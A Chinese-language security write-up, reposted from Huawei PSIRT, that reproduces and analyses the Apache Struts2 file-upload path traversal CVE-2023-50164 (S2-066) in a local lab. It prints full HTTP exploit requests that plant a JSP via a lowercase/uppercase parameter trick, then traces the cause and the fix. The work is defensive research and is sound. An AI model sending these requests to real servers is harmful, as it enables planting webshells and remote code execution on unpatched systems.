Apache Struts2 文件上传漏洞复现与分析（CVE-2023-50164/S2-066）

admin

102367
文章

87
评论

2024年1月19日22:53:43评论27 views字数 8450阅读28分10秒阅读模式

漏洞信息

影响：文件上传漏洞，可导致RCE

影响范围：

Apache Struts 2.0.0~2.5.32
APache Struts 6.0.0~6.3.0.1

修复版本：

Apache Struts >= 2.5.33
Apache Struts >= 6.3.0.2

reference:

https://www.openwall.com/lists/oss-security/2023/12/07/1

https://lists.apache.org/thread/yh09b3fkf6vz5d6jdgrlvmg60lfwtqhj

https://cwiki.apache.org/confluence/display/WW/S2-066

https://github.com/apache/struts/commit/162e29fee9136f4bfd9b2376da2cbf590f9ea163#diff-c3ff6723ce314bc163facd220f85264aa44661665942eaa24fd2da450a81e929

漏洞复现

官方公告：

An attacker can manipulate file upload params to enable paths traversal and under some circumstances this can lead to uploading a malicious file which can be used to perform Remote Code Execution.

提取关键信息：file upload、paths traversal

通过公告可以得知此漏洞基本是有路径穿越的文件上传，结合diff：Makes HttpParameters case-insensitive，可以知道漏洞和某些大小写敏感的操作有关

环境搭建

IDEA（便于debug）+Maven+Tomcat

IDEA打开项目，一般会自动识别其为web项目，直接配置以下两个地方即可
Run => Edit Config… => 新增本地tomcat

Apache Struts2 文件上传漏洞复现与分析（CVE-2023-50164/S2-066）

3. Project Setting => 一般会识别为Web项目并自动配置，没有的话按这个选择即可

正常文件上传

配置完环境跑起来，直接上传文件抓包，将filename修改为路径穿越 ../test.jsp 如下

POST /struts2_vul_war_exploded/upload HTTP/1.1
Host: 127.0.0.1:8888
Content-Length: 222
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="119", "Not?A_Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: http://127.0.0.1:8888
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryvRy43ECJF8NLXNFB
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1:8888/struts2_vul_war_exploded/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=0F91AF9BE518B1B7E768D7FB3191B999
Connection: close

------WebKitFormBoundaryvRy43ECJF8NLXNFB
Content-Disposition: form-data; name="dest"; filename="../test.jsp"
Content-Type: application/octet-stream

<% out.println("EXP");%>
------WebKitFormBoundaryvRy43ECJF8NLXNFB--

不出意外，上传后 ../ 被过滤，只留下了test.jsp

原因：struts2对上传的文件名做了过滤和限制，org.apache.struts2.dispatcher.multipart.AbstractMultiPartRequest#getCanonicalName处，对路径穿越做了防护，取 / 或后的字符串作为文件名

# 防御路径穿越  protected String getCanonicalName(String originalFileName) {      int forwardSlash = originalFileName.lastIndexOf(47);      int backwardSlash = originalFileName.lastIndexOf(92);      String fileName;      if (forwardSlash != -1 && forwardSlash > backwardSlash) {          fileName = originalFileName.substring(forwardSlash + 1);      } else {          fileName = originalFileName.substring(backwardSlash + 1);      }      return fileName;  }

Debug如下，可以看到在return处已经把 ../ 过滤掉了

构造路径穿越

直接看怎么构造绕过

数据包如下

POST /struts2_vul_war_exploded/upload?destFileName=../test.jsp HTTP/1.1
Host: 127.0.0.1:8888
Content-Length: 220
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="119", "Not?A_Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: http://127.0.0.1:8888
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryvRy43ECJF8NLXNFB
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1:8888/struts2_vul_war_exploded/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=0F91AF9BE518B1B7E768D7FB3191B999
Connection: close

------WebKitFormBoundaryvRy43ECJF8NLXNFB
Content-Disposition: form-data; name="Dest"; filename="test.jsp"
Content-Type: application/octet-stream

<% out.println("EXP");%>
------WebKitFormBoundaryvRy43ECJF8NLXNFB--

关注以下几个地方：

URL处/upload?destFileName=../test.jsp
post body处name="Dest"

可以看到此时已经成功实现路径穿越

另还有一种构造方式如下：

POST /struts2_vul_war_exploded/upload HTTP/1.1
Host: 127.0.0.1:8888
Content-Length: 366
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="119", "Not?A_Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: http://127.0.0.1:8888
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryvRy43ECJF8NLXNFB
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1:8888/struts2_vul_war_exploded/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=0F91AF9BE518B1B7E768D7FB3191B999
Connection: close

------WebKitFormBoundaryvRy43ECJF8NLXNFB
Content-Disposition: form-data; name="Dest"; filename="xxx"
Content-Type: application/octet-stream

<% out.println("EXP");%>
------WebKitFormBoundaryvRy43ECJF8NLXNFB
Content-Disposition: form-data; name="destFileName";
Content-Type: application/octet-stream

../test.jsp
------WebKitFormBoundaryvRy43ECJF8NLXNFB--

漏洞分析

分析过程此处粘贴几个链接

https://y4tacker.github.io/2023/12/09/year/2023/12/Apache-Struts2-文件上传分析-S2-066/

https://mp.weixin.qq.com/s/SVJHsmvLqHwZoNKmFNvXcA

都写得非常好，笔者不再过多赘述，接下来直接看以上数据包是怎么绕过过滤的

从上下文获取HttpParameter对象

从上下文获取HttpParameter对象，首先需要在org.apache.struts2.dispatcher.Dispatcher#createContextMap(javax.servlet.http.HttpServletRequest, javax.servlet.http.HttpServletResponse, org.apache.struts2.dispatcher.mapper.ActionMapping)处，保存请求的参数

这个地方保存的东西如下：

可以看到此时的value为路径穿越的payload

其中一些调用栈如下

createContextMap:634, Dispatcher (org.apache.struts2.dispatcher)
createActionContext:83, PrepareOperations (org.apache.struts2.dispatcher)
doFilter:132, StrutsPrepareAndExecuteFilter (org.apache.struts2.dispatcher.filter)
internalDoFilter:178, ApplicationFilterChain (org.apache.catalina.core)
doFilter:153, ApplicationFilterChain (org.apache.catalina.core)
...

对文件名进行处理

获取完上下文内容后（保存了URL请求的参数，也即路径穿越的payload），开始进入文件上传action的post body解析；在org.apache.struts2.interceptor.FileUploadInterceptor#intercept中，对文件进行处理

Apache Struts2 文件上传漏洞复现与分析（CVE-2023-50164/S2-066）

此时处理完的结果如下：DestFileName的值为test.jsp

Apache Struts2 文件上传漏洞复现与分析（CVE-2023-50164/S2-066）

回忆一下，此时保存了两个主要参数：

请求参数destFileName=../test.jsp
post body参数DestFileName=test.jsp

参数绑定

com.opensymphony.xwork2.interceptor.ParametersInterceptor#doIntercept处调用了com.opensymphony.xwork2.interceptor.ParametersInterceptor#setParameters进行了参数绑定

能看到此时HttpParameters对象有4个属性，在com.opensymphony.xwork2.interceptor.ParametersInterceptor#setParameters中执行setter操作，此时我们可以发现

{
"DestFileName": "test.jsp",
"destFileName": "../test.jsp"
}

回到我们的Action中，可以发现此时被赋予的值已经成功路径穿越了

漏洞到此就正向分析完毕了，可能有人会有疑问，为什么一定要这么构造呢？因此我稍微总结一下堆栈和数据流的调用链帮助更好理解

漏洞总结

从上下文获取HttpParameter对象

将/struts2_vul_war_exploded/upload?destFileName=../test.jsp的请求参数进行赋值，得到destFileName=../test.jsp
在post body中对数据包的name进行构造，将其首字母大写得到name="Dest"

此时进入文件上传的拦截器逻辑，对数据包进行处理，包括（1）name字段拼接字符串FileName；（2）filename字段进行 / 、过滤

如果此时没有将首字母大写，则会被拼接为destFileName，后面在进行KV赋值时，会覆盖第一步从上下文获取HttpParameter对象的值，也即../test.jsp被覆盖成了test.jsp
为什么必须是请求参数小写，post body的name字段大写？

我们稍微改下数据包，令URL为/struts2_vul_war_exploded/upload?DestFileName=../test.jsp，post body为name="dest"，然后发包debug，在com.opensymphony.xwork2.interceptor.ParametersInterceptor#setParameters中我们可以发现，此时的赋值情况和我们传入的参数一致，接着开始调用setter方法进行赋值

接下来就是重点了：

这个和ognl.OgnlRuntime#addIfAccessor有关，在调用setter方法时，会判断baseName，这个的意思就是，我的setter方法名是setDestFileName，需要满足baseName为DestFileName

而baseName也是会做处理的，在ognl.OgnlRuntime#capitalizeBeanPropertyName中，有这么一段代码：

这里主要的作用是：如果字符串是小写开头且第二个字符不是大写的，则将首字符大写返回；因此若我们传入的字符串为destFileName，则baseName会被处理为DestFileName，这会导致什么结果呢？还记得我们的赋值情况吗？

# 漏洞利用成功时的map:
{
    "DestFileName": "test.jsp",
    "destFileName": "../test.jsp"
}
# 漏洞不能利用成功的map:
{
    "DestFileName": "../test.jsp",
    "destFileName": "test.jsp"
}

区别就在于这里了，漏洞利用成功时，先赋值DestFileName=test.jsp，而destFileName经过ognl.OgnlRuntime#capitalizeBeanPropertyName的处理，destFileName变成了DestFileName，并对其赋../test.jsp的值，导致原本DestFileName=test.jsp被覆盖成了DestFileName=../test.jsp，传入了action中实现路径穿越；

而漏洞利用不成功的原因也很显而易见了，因为DestFileName先被赋予了../test.jsp后又被覆盖为test.jsp，自然也就利用失败了

出现这个情况的另一个重点在于此处：

如上，用于赋值的acceptableParameters是TreeMap，这种map有个什么特性呢？

看出差别了吗，TreeMap有个很大的特点就是其排列顺序会根据key的首字母排，因此首字母大写的key会排在小写的前面，这就回答了前面的问题：”为什么必须是请求参数小写，post body的name字段大写？“——因为需要将payload赋值给小写的请求参数，令其（1）不经过s2框架对postbody的过滤；（2）调用setter时排在大写的字段后面，令其payload可以覆盖被过滤的、大写的参数

一句话总结：将payload赋给首字母小写的、能不经过s2框架过滤的参数；首字母大写的、需要经过s2框架过滤的参数随意赋值，最后由于TreeMap的排序特性，setter会先赋值大写的参数（随意是啥），再将小写参数的payload赋值覆盖，形成路径穿越

漏洞修复

官方修复是取消了大小写敏感，因此第一次获取的HttpParameter对象会被后面post body取得name字段覆盖，实现拦截器的过滤作用

缓解：waf、rasp均需注意路径穿越的payload

推荐阅读

华为PSIRT助力 | 顺丰SRC第二届白帽技术沙龙预约开启！

致谢信 | 感谢阿里巴巴集团安全研究团队对华为终端云的支持

Curl SOCKS5安全漏洞（CVE-2023-38545）分析

原文始发于微信公众号（华为安全应急响应中心）：Apache Struts2 文件上传漏洞复现与分析（CVE-2023-50164/S2-066）

左青龙
微信扫一扫

右白虎
微信扫一扫

Apache Struts2 文件上传漏洞复现与分析（CVE-2023-50164/S2-066）

二次注入简单介绍

CVE-2024-2389 命令执行漏洞(附EXP)

CVE-2024-4040 CrushFTP 中的身份验证绕过和任意文件读取

利用 PUT 方法导致三星远程代码执行 (RCE)

泛微E-Mobile 6.0 client.do 命令执行漏洞

【在野0day】某友CRM系统某接口存在任意文件下载（大量资产存在）

【漏洞复现】短视频矩阵营销系统 ajax_uplaod接口处存在任意文件上传

漏洞速递 | Microsoft微软最新RCE漏洞（附EXP）

通达OA down 未授权员工信息泄露漏洞

漏洞预警 | FFmpeg释放后使用漏洞

发表评论

在线咨询

微信